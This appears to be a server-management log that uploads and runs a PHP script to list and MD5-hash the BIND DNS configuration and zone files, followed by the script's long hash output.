MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 0c602ebd02403b745f34fa146858295c
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 6f1cdaf5040cf6c289773893efd4d401
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= bc8353cc1ce247e2310ed5e517eb3a01
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-28 11:00:10: Establishing a connection
2026-04-28 11:00:10: 

PUT: /tmp/pkp971515

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-28 11:00:10: 

runuser -l bind -s /bin/bash -c '/tmp/pkp971515; rm /tmp/pkp971515'

2026-04-28 11:00:10: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= db0633477b3a98066efe74cd0403f07a
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
